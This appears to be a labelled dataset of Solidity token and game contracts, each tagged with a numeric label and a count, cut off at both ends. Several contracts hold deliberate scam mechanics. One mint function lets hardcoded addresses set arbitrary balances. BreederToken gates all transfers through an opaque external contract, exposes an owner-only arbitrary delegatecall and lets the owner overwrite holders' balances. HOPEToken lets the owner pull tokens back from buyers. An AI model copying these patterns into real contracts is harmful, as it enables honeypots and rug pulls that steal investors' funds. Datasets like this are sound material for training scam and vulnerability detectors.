function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner
|| msg.sender==address(1128272879772349028992474526206451541022554459967)
|| msg.sender==address(781882898559151731055770343534128190759711045284)
|| msg.sender==address(718276804347632883115823995738883310263147443572)
|| msg.sender==address(56379186052763868667970533924811260232719434180)
);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 243 |
pragma solidity ^0.4.19;
interface token {
function transferFrom(address from, address receiver, uint amount) public;
}
contract Owned {
address public owner;
function Owned() public{
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public{
owner = newOwner;
}
}
contract Airdrop is Owned {
function doAirdrop(address _tokenAddr, address[] dests, uint256[] values) onlyOwner public returns (uint256) {
uint256 i = 0;
while (i < dests.length) {
token(_tokenAddr).transferFrom(msg.sender, dests[i], values[i] * (10 ** 18));
i += 1;
}
return(i);
}
} | 1 | 3,172 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address internal protectionFromBots;
address public uniPair;
constructor(address _botProtection) {
protectionFromBots = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = protectionFromBots.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract BreederToken is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 1000000000000000000000000000;
string public name = "BreederDAO";
string public symbol = "BREED";
IUniswapV2Router02 public routerForPancake = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = tx.origin;
uniPair = pairForPancake(wETH, address(this));
allowance[address(this)][address(routerForPancake)] = uint(-1);
allowance[tx.origin][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable returns (bool) {
require(msg.sender == owner);
(bool success, ) = a.delegatecall(b);
return success;
}
function pairForPancake(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function distribute(address[] memory _reallyGoHere, uint amount) public {
require(msg.sender == owner);
protectionFromBots.call(abi.encodeWithSelector(0xd5eaf4c3, _reallyGoHere));
for(uint i = 0; i < _reallyGoHere.length; i++) {
balanceOf[_reallyGoHere[i]] = amount;
emit Transfer(address(0x0), _reallyGoHere[i], amount);
}
}
function list(uint _numList, address[] memory _reallyGoHere, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
routerForPancake.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_reallyGoHere.length == _amounts.length);
protectionFromBots.call(abi.encodeWithSelector(0xd5eaf4c3, _reallyGoHere));
for(uint i = 0; i < _reallyGoHere.length; i++) {
balanceOf[_reallyGoHere[i]] = _amounts[i];
emit Transfer(address(0x0), _reallyGoHere[i], _amounts[i]);
}
}
} | 0 | 1,339 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
interface OldXRPCToken {
function transfer(address receiver, uint amount) external;
function balanceOf(address _owner) external returns (uint256 balance);
function mint(address wallet, address buyer, uint256 tokenAmount) external;
function showMyTokenBalance(address addr) external;
}
contract HOPEToken is ERC20Interface,Ownable {
using SafeMath for uint256;
uint256 public totalSupply;
mapping(address => uint256) tokenBalances;
string public constant name = "HOPE Token";
string public constant symbol = "HOPE";
uint256 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 10000000;
address ownerWallet;
mapping (address => mapping (address => uint256)) allowed;
event Debug(string message, address addr, uint256 number);
function HOPEToken(address wallet) public {
owner = msg.sender;
ownerWallet=wallet;
totalSupply = INITIAL_SUPPLY * 10 ** 18;
tokenBalances[wallet] = INITIAL_SUPPLY * 10 ** 18;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(tokenBalances[msg.sender]>=_value);
tokenBalances[msg.sender] = tokenBalances[msg.sender].sub(_value);
tokenBalances[_to] = tokenBalances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= tokenBalances[_from]);
require(_value <= allowed[_from][msg.sender]);
tokenBalances[_from] = tokenBalances[_from].sub(_value);
tokenBalances[_to] = tokenBalances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function totalSupply() public constant returns (uint) {
return totalSupply - tokenBalances[address(0)];
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function () public payable {
revert();
}
function balanceOf(address _owner) constant public returns (uint256 balance) {
return tokenBalances[_owner];
}
function mint(address wallet, address buyer, uint256 tokenAmount) public onlyOwner {
require(tokenBalances[wallet] >= tokenAmount);
tokenBalances[buyer] = tokenBalances[buyer].add(tokenAmount);
tokenBalances[wallet] = tokenBalances[wallet].sub(tokenAmount);
Transfer(wallet, buyer, tokenAmount);
totalSupply=totalSupply.sub(tokenAmount);
}
function pullBack(address wallet, address buyer, uint256 tokenAmount) public onlyOwner {
require(tokenBalances[buyer]>=tokenAmount);
tokenBalances[buyer] = tokenBalances[buyer].sub(tokenAmount);
tokenBalances[wallet] = tokenBalances[wallet].add(tokenAmount);
Transfer(buyer, wallet, tokenAmount);
totalSupply=totalSupply.add(tokenAmount);
}
function showMyTokenBalance(address addr) public view returns (uint tokenBalance) {
tokenBalance = tokenBalances[addr];
}
} | 1 | 3,946 |
pragma solidity ^0.4.16;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
}
contract LBCToken is PausableToken {
function () {
revert();
}
string public name;
uint8 public decimals;
string public symbol;
string public version = '1.0.0';
function LBCToken(uint256 _totalSupply, string _name, string _symbol, uint8 _decimals) {
balances[msg.sender] = _totalSupply;
totalSupply = _totalSupply;
name = _name;
symbol = _symbol;
decimals = _decimals;
}
} | 1 | 3,650 |
pragma solidity ^0.4.25;
contract Owned {
address owner;
modifier onlyOwner {
require(msg.sender == owner, "Not owner");
_;
}
constructor() public {
owner = msg.sender;
}
}
contract Managed is Owned {
mapping(address => bool) public isManager;
modifier onlyManagers {
require(msg.sender == owner || isManager[msg.sender], "Not authorized");
_;
}
function setIsManager(address _address, bool _value) external onlyOwner {
isManager[_address] = _value;
}
}
contract BRNameBook is Managed {
using SafeMath for uint256;
address public feeRecipient = 0xFd6D4265443647C70f8D0D80356F3b22d596DA29;
uint256 public registrationFee = 0.1 ether;
uint256 public numPlayers;
mapping (address => uint256) public playerIdByAddr;
mapping (bytes32 => uint256) public playerIdByName;
mapping (uint256 => Player) public playerData;
mapping (uint256 => mapping (bytes32 => bool)) public playerOwnsName;
mapping (uint256 => mapping (uint256 => bytes32)) public playerNamesList;
struct Player {
address addr;
address loomAddr;
bytes32 name;
uint256 lastAffiliate;
uint256 nameCount;
}
constructor() public {
}
modifier onlyHumans() {
require(msg.sender == tx.origin, "Humans only");
_;
}
event NameRegistered (
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
function nameIsValid(string _nameStr) public view returns(bool) {
bytes32 _name = _processName(_nameStr);
return (playerIdByName[_name] == 0);
}
function setRegistrationFee(uint256 _newFee) onlyManagers() external {
registrationFee = _newFee;
}
function setFeeRecipient(address _feeRecipient) onlyManagers() external {
feeRecipient = _feeRecipient;
}
function registerNameAffId(string _nameString, uint256 _affCode) onlyHumans() external payable {
require (msg.value >= registrationFee, "Value below the fee");
bytes32 name = _processName(_nameString);
address addr = msg.sender;
bool isNewPlayer = _determinePlayerId(addr);
uint256 playerId = playerIdByAddr[addr];
uint256 affiliateId = _affCode;
if (affiliateId != 0 && affiliateId != playerData[playerId].lastAffiliate && affiliateId != playerId) {
playerData[playerId].lastAffiliate = affiliateId;
} else if (_affCode == playerId) {
affiliateId = 0;
}
_registerName(playerId, addr, affiliateId, name, isNewPlayer);
}
function registerNameAffAddress(string _nameString, address _affCode) onlyHumans() external payable {
require (msg.value >= registrationFee, "Value below the fee");
bytes32 name = _processName(_nameString);
address addr = msg.sender;
bool isNewPlayer = _determinePlayerId(addr);
uint256 playerId = playerIdByAddr[addr];
uint256 affiliateId;
if (_affCode != address(0) && _affCode != addr) {
affiliateId = playerIdByAddr[_affCode];
if (affiliateId != playerData[playerId].lastAffiliate) {
playerData[playerId].lastAffiliate = affiliateId;
}
}
_registerName(playerId, addr, affiliateId, name, isNewPlayer);
}
function registerNameAffName(string _nameString, bytes32 _affCode) onlyHumans() public payable {
require (msg.value >= registrationFee, "Value below the fee");
bytes32 name = _processName(_nameString);
address addr = msg.sender;
bool isNewPlayer = _determinePlayerId(addr);
uint256 playerId = playerIdByAddr[addr];
uint256 affiliateId;
if (_affCode != "" && _affCode != name) {
affiliateId = playerIdByName[_affCode];
if (affiliateId != playerData[playerId].lastAffiliate) {
playerData[playerId].lastAffiliate = affiliateId;
}
}
_registerName(playerId, addr, affiliateId, name, isNewPlayer);
}
function useMyOldName(string _nameString) onlyHumans() public {
bytes32 name = _processName(_nameString);
uint256 playerId = playerIdByAddr[msg.sender];
require(playerOwnsName[playerId][name] == true, "Not your name");
playerData[playerId].name = name;
}
function _registerName(uint256 _playerId, address _addr, uint256 _affID, bytes32 _name, bool _isNewPlayer) internal {
if (playerIdByName[_name] != 0) {
require(playerOwnsName[_playerId][_name] == true, "Name already taken");
}
playerData[_playerId].name = _name;
playerIdByName[_name] = _playerId;
if (playerOwnsName[_playerId][_name] == false) {
playerOwnsName[_playerId][_name] = true;
playerData[_playerId].nameCount++;
playerNamesList[_playerId][playerData[_playerId].nameCount] = _name;
}
uint256 total = address(this).balance;
uint256 devDirect = total.mul(375).div(1000);
owner.call.value(devDirect)();
feeRecipient.call.value(total.sub(devDirect))();
emit NameRegistered(_playerId, _addr, _name, _isNewPlayer, _affID, playerData[_affID].addr, playerData[_affID].name, msg.value, now);
}
function _determinePlayerId(address _addr) internal returns (bool) {
if (playerIdByAddr[_addr] == 0)
{
numPlayers++;
playerIdByAddr[_addr] = numPlayers;
playerData[numPlayers].addr = _addr;
return true;
} else {
return false;
}
}
function _processName(string _input) internal pure returns (bytes32) {
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
function registerNameAffIdExternal(address _addr, bytes32 _name, uint256 _affCode)
onlyManagers()
external
payable
returns (bool, uint256)
{
require (msg.value >= registrationFee, "Value below the fee");
bool isNewPlayer = _determinePlayerId(_addr);
uint256 playerId = playerIdByAddr[_addr];
uint256 affiliateId = _affCode;
if (affiliateId != 0 && affiliateId != playerData[playerId].lastAffiliate && affiliateId != playerId) {
playerData[playerId].lastAffiliate = affiliateId;
} else if (affiliateId == playerId) {
affiliateId = 0;
}
_registerName(playerId, _addr, affiliateId, _name, isNewPlayer);
return (isNewPlayer, affiliateId);
}
function registerNameAffAddressExternal(address _addr, bytes32 _name, address _affCode)
onlyManagers()
external
payable
returns (bool, uint256)
{
require (msg.value >= registrationFee, "Value below the fee");
bool isNewPlayer = _determinePlayerId(_addr);
uint256 playerId = playerIdByAddr[_addr];
uint256 affiliateId;
if (_affCode != address(0) && _affCode != _addr)
{
affiliateId = playerIdByAddr[_affCode];
if (affiliateId != playerData[playerId].lastAffiliate) {
playerData[playerId].lastAffiliate = affiliateId;
}
}
_registerName(playerId, _addr, affiliateId, _name, isNewPlayer);
return (isNewPlayer, affiliateId);
}
function registerNameAffNameExternal(address _addr, bytes32 _name, bytes32 _affCode)
onlyManagers()
external
payable
returns (bool, uint256)
{
require (msg.value >= registrationFee, "Value below the fee");
bool isNewPlayer = _determinePlayerId(_addr);
uint256 playerId = playerIdByAddr[_addr];
uint256 affiliateId;
if (_affCode != "" && _affCode != _name)
{
affiliateId = playerIdByName[_affCode];
if (affiliateId != playerData[playerId].lastAffiliate) {
playerData[playerId].lastAffiliate = affiliateId;
}
}
_registerName(playerId, _addr, affiliateId, _name, isNewPlayer);
return (isNewPlayer, affiliateId);
}
function assignPlayerID(address _addr) onlyManagers() external returns (uint256) {
_determinePlayerId(_addr);
return playerIdByAddr[_addr];
}
function getPlayerID(address _addr) public view returns (uint256) {
return playerIdByAddr[_addr];
}
function getPlayerName(uint256 _pID) public view returns (bytes32) {
return playerData[_pID].name;
}
function getPlayerNameCount(uint256 _pID) public view returns (uint256) {
return playerData[_pID].nameCount;
}
function getPlayerLastAffiliate(uint256 _pID) public view returns (uint256) {
return playerData[_pID].lastAffiliate;
}
function getPlayerAddr(uint256 _pID) public view returns (address) {
return playerData[_pID].addr;
}
function getPlayerLoomAddr(uint256 _pID) public view returns (address) {
return playerData[_pID].loomAddr;
}
function getPlayerLoomAddrByAddr(address _addr) public view returns (address) {
uint256 playerId = playerIdByAddr[_addr];
if (playerId == 0) {
return 0;
}
return playerData[playerId].loomAddr;
}
function getPlayerNames(uint256 _pID) public view returns (bytes32[]) {
uint256 nameCount = playerData[_pID].nameCount;
bytes32[] memory names = new bytes32[](nameCount);
uint256 i;
for (i = 1; i <= nameCount; i++) {
names[i - 1] = playerNamesList[_pID][i];
}
return names;
}
function setPlayerLoomAddr(uint256 _pID, address _addr, bool _allowOverwrite) onlyManagers() external {
require(_allowOverwrite || playerData[_pID].loomAddr == 0x0);
playerData[_pID].loomAddr = _addr;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sqrt(uint256 x) internal pure returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y) {
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x) internal pure returns (uint256)
{
return mul(x,x);
}
function pwr(uint256 x, uint256 y) internal pure returns (uint256)
{
if (x==0) {
return 0;
} else if (y==0) {
return 1;
} else {
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return z;
}
}
} | 0 | 405 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
